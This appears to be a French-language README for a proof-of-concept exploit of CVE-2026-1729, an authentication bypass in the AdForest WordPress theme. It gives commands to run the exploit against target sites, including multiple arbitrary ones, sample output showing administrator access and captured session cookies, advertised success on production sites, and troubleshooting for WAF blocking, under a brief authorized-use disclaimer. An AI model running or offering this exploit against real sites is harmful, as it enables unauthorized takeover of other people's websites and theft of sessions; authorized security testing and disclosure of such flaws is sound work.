CVE-2026-1729 - Preuve de concept de contournement d'authentification AdForest WordPress

Description

Preuve de concept simple pour CVE-2026-1729 (PoC) - Vulnérabilité de contournement d'authentification dans le thème WordPress AdForest. Réalisé par f3ds cr3w est 2oo2 blog

Fonctionnalités

✅ Accès administrateur direct sans identifiants
✅ Fonctionne sur des instances WordPress en production
✅ Aucune configuration Docker requise
✅ Interface en ligne de commande simple
✅ Persistance de session

Prérequis

Python 3.6+
Bibliothèque requests

Installation

pip install requests

Utilisation

Utilisation basique

python poc/exploit.py https://site-cible.com

Cibler un ID utilisateur spécifique

python poc/exploit.py https://site-cible.com --user-id 2

Exemples

# Exploiter l'admin par défaut (ID utilisateur 1)
python poc/exploit.py https://example.com

# Exploiter un compte utilisateur spécifique
python poc/exploit.py https://example.com --user-id 5

# Tester plusieurs cibles
python poc/exploit.py https://site1.com
python poc/exploit.py https://site2.com --user-id 3

Sortie

CVE-2026-1729 - Contournement d'authentification AdForest WordPress
=======================================================
ATTENTION : Pour tests autorisés uniquement !
=======================================================
[+] Cible : https://example.com
[+] ID utilisateur ciblé : 1
[+] Envoi de l'exploit vers : https://example.com/wp-admin/admin-ajax.php
[+] SUCCÈS ! Accès administrateur accordé
[+] URL admin : https://example.com/wp-admin/
[+] Cookies de session : {'wp-settings-time-1': '1234567890', 'wordpress_logged_in_...': '...'}
[+] Connecté en tant que : admin

🎯 Exploit terminé avec succès !
Vous avez maintenant un accès administrateur au site WordPress.

Que se passe-t-il après l'exploit

Accès administrateur : Vous obtenez un accès complet à /wp-admin/
Persistance de session : L'exploit conserve les cookies de session
Informations utilisateur : Indique quel compte a été compromis
Accès direct : Vous pouvez immédiatement accéder au tableau de bord WordPress

Remarques

Utilisation légale : Utilisez uniquement sur des sites que vous possédez ou pour lesquels vous avez une autorisation explicite de test
Prérequis de la cible : Le site doit avoir le thème AdForest installé
Taux de réussite : Fonctionne sur les versions vulnérables du thème AdForest
Aucune installation : Pas besoin d'installer quoi que ce soit sur le serveur cible

Dépannage

Si l'exploit échoue :

Vérifiez que le thème AdForest est installé
Vérifiez que le site fonctionne sous WordPress
Assurez-vous que la version du thème est vulnérable
Aucun WAF ou plugin de sécurité ne bloque la requête

CVE-2026-1729-PoC-AdForest-WordPress-Authentication-Bypass

Populaires

À propos